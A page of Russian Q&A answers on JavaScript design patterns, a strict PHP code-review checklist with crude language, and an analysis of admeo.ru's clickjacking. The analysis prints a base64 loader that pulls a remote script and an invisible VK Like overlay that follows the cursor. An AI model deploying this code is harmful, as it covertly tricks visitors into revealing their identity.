• Какие шаблоны проектирования js применяются на практике чаще всего?

    sfi0zy
    @sfi0zy Куратор тега JavaScript
    Creative frontend developer
    какие паттерны применяются чаще всего на практике и где

    Сразу отмечу, что все это чисто мое имхо, которое может не совпадать с мнением окружающих. В контексте фронтенда обычно все довольно просто. По моим наблюдениям в среднем сайте могут иметь смысл:
    1. Модули (делим код на независимые части)
    2. Фабрики (для компонентов интерфейса)
    3. Синглтоны (для хранилищ, точек сбора полифиллов / утилит и.т.д.)
    4. Адаптеры (для зависимостей и полифилов, которые могут измениться / выпилиться)
    5. Наблюдатели (для сбора происходящих событий в одном месте)
    6. Хранители (для сохранения действий пользователя и "Ctrl-Z")
    7. Стратегии (если действуем в зависимости от прилетевших данных)

    Другим паттернам применение вижу редко, только если под какую-то замороченную бизнес-логику. Хотя кого я обманываю, на среднем сайте обычно происходит только один паттерн - доширак из костылей. Ну и стоит сказать, что SPA-фреймворки имеют свойство навязывать свои подходы к решению задач, но это отдельная тема.

    Важно понимать, что паттерны проектирования - это просто хорошие идеи по поводу того, как организовать большой объем кода в той или иной ситуации. Это не "изучи тайное знание, запомни, и делай так всегда", не "используй паттерны, потому что великие их используют", это скорее "если не уверен как организовать код, возьми готовую идею, она вроде работает". Если вы будете просто решать задачи, то через N лет практики вы сами их все "изобретете", только не будете знать, что у них есть названия. Эффективно будет организовать себе заметку о том, какие из этих идей для чего примерно применяют, а потом, в процессе работы, в нее подглядывать, если встал вопрос "как организовать этот код".
    Ответ написан
    7 комментариев
  • Попросили проверить код, на что смотреть нужно?

    index0h
    @index0h
    PHP, Golang. https://github.com/index0h
    Смотря зачем)). Я когда делаю Code Review критерии следующие:

    * Безопасность:
    - Каждый аргумент метода простого типа должен проверяться на тип в случае его проксирования и на граничные значения в случае обработки. Чуть что не так - бросается исключение. Если метод с кучкой аргументов на 80% состоит из поверки из аргументов - это вполне норм))
    - Никаких trigger_error, только исключения.
    - Исключения ДОЛЖНЫ быть человеко-понятны, всякие "Something went wrong" можно отдавать пользователю, но в лог должно попасть исключение со стектрейсом и человеко-понятным описанием, что же там пошло не так.
    - Каждый аргумент (объект) метода должен быть с тайпхинтингом на этот его класс, или интерфейс.
    - За eval как правило шлю на **й.
    - @ допускается только в безвыходных ситуациях, например проверка json_last_error.
    - Перед работой с БД - обязательная проверка данных.
    - Никаких == и !=. Со swtich - единственное исключение, по ситуации.
    - Если метод возвращает не только bool, а еще что-то - жесткая проверка с ===, или !== обязательна.
    - Никаких условий с присваиваниями внутри. while($row = ...) - тоже идет лесом.
    - Магические геттеры/сеттеры разрешаются только в безвыходных ситуациях, в остальном - запрещены.
    - Конкатенации в sql - только в безвыходных ситуациях.
    - Параметры в sql - ТОЛЬКО через плейсхолдеры.
    - Никаких глобальных переменных.
    - Даты в виде строки разрешаются только в шаблонах и в БД, в пхп коде сразу преобразуется в \DateTimeImmutable (в безвыходных ситуациях разрешено \DateTime)
    - Конечно зависит от проекта, но как приавло должно быть всего две точки входа: index.php для web и console(или как-то по другому назваться) - для консоли.

    * Кодстайл PSR-2 + PSR-5 как минимум, + еще куча более жестких требований (для начала все то что в PSR помечено как SHOULD - становится MUST)
    - В PhpStorm ни одна строчка не должна подсвечиваться (исключением является typo ошибки, например словарик не знает какой-то из аббревиатур, принятых в вашем проекте). При этом разрешается использовать /** @noinspection *** */ для безвыходных ситуаций.
    - Если кто-то говорит, что пишет в другом редакторе и у него не подсвечивается, на эти отговорки кладется ВОТ ТАКЕЕЕНЫЙ мужской половой **й и отправляется на доработку)).

    * Организация кода:
    - Никаких глобальных функций.
    - Классы без неймспейса разрешаются только в исключительно безвыходных ситуациях.

    * Тестируемость (в смысле простота тестирования) кода должна быть высокая.
    - Покрытие кода обязательно для всех возможных кейсов использования каждого публичного метода с моками зависимостей.

    * Принципы MVC:
    - Никаких обработок пользовательского ввода в моделях, от слова совсем.
    - Никаких ***ть запросов в БД из шаблонов.
    - Никаких верстки/js/css/sql-ин в контроллерах.
    - В моделях НИКАКОЙ МАГИИ, только приватные свойства + геттеры с сеттерами.
    - В моделях разрешено использовать метод save(при наличии такого разумеется) только в исключительных ситуациях. Во всех остальных - либо insert, либо update.

    * Принципы SOLD:
    - Никаких божественных объектов умеющих во все.
    - Если метод для внутреннего пользования - private, никаких public.
    - Статические методы разрешаются только в случае безвыходности.

    * Принцип DRY разрешено нарушать в случаях:
    - Явного разделения обязанностей
    - В тестах (каждый тест должен быть независимым, на сколько это возможно)

    * Работа с БД:
    - Запрос в цикле должен быть РЕАЛЬНО обоснован.
    - За ORDER BY RAND() - шлю на***й.
    - Поиск не по ключам (конечно если таблица НЕ на 5 строк) запрещен.
    - Поиск без LIMIT (опять же если таблица НЕ на 5 строк) запрещен.
    - SELECT * - запрещен.
    - Денормализация БД должна быть обоснована.
    - MyISAM не используется (так уж)) )
    - Множественные операции обязательно в транзакции, с откатом если чо пошло не так.
    - БД не должна содержать бизнес логики, только данные в целостном виде.
    - Не должно быть нецелесообразного дерганья БД там, где без этого можно обойтись.

    * Кэш должен очищаться по двум условиям (не по одному из, а именно по двум):
    - Время.
    - Протухание по бизнес логике.
    Разрешается по только времени в безвыходных ситуациях, но тогда время - короткий период.
    - При расчете ключей кэша должна использоваться переменная из конфигурации приложения (на случай обновлений кэш сбрасывается кодом, а не флашем кэш-сервера). В случае использования множества серверов - это очень удобный и гибкий инструмент при диплое.

    * О людях:
    - "Я привык писать так и буду дальше" - не вопрос, ревью пройдешь только когда поменяешь свое мнение.
    - "Я пишу в vim-е и мне так удобно" - здорово, код консолью я тоже в нем пишу)) но есть требования к коду, если в них не сможешь - не пройдешь ревью.
    - "Я скопировал этот страшный метод и поменял 2 строчки" - это конечно замечательно, но по блейму автор всего этого метода ты, так что давай без говняшек, хорошо?
    - "Оно же работает!" - вот эта фраза переводится примерно так: "да, я понимаю, что пишу полную хрень, но не могу писать нормально потому, что руки из жо", я правильно тебя понял?))
    - "У меня все работает!" - рад за тебя, а как на счет продакшна?
    - "Там все просто" - не используй слово "просто", от слова "совсем". Вот тебе кусок кода (первого попавшегося с сложной бизнес логикой), где там ошибка (не важно есть она, или нет)? Ты смотришь его уже 2 минуты, в чем проблема, там же все "просто"))

    * Всякое:
    ActiveRecord (это я вам как в прошлом фанат Yii говорю) - полное говно, примите за исходную. По факту у вас бесконтрольно по проекту гуляют модельки с подключением к БД. Не раз натыкался на то, что в тех же шаблонах вызывают save, или update (за такое надо сжигать).
    То, что используется Laravel - это печально((. Что бы выполнить требования приведенные выше, приходится "воевать" с фреймворком.

    Это далеко не полный список требований, очень много зависит от проекта в целом и от принципов, заложенных в нем. Для больших мредж реквестов 200 комментариев к коду - это ок. Дерзайте.

    UPD

    Формализировал данные критерии по ссылочке: https://github.com/index0h/php-conventions
    Ответ написан
    55 комментариев
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как защитить сайты от взлома?

    xmoonlight
    @xmoonlight
    https://sitecoder.blogspot.com
    Поскольку, различные правила постоянно обновляются и модифицируются, актуальная версия всех правил и рекомендаций по защите веб-сервера доступна по этой ссылке.
    Ответ написан
    5 комментариев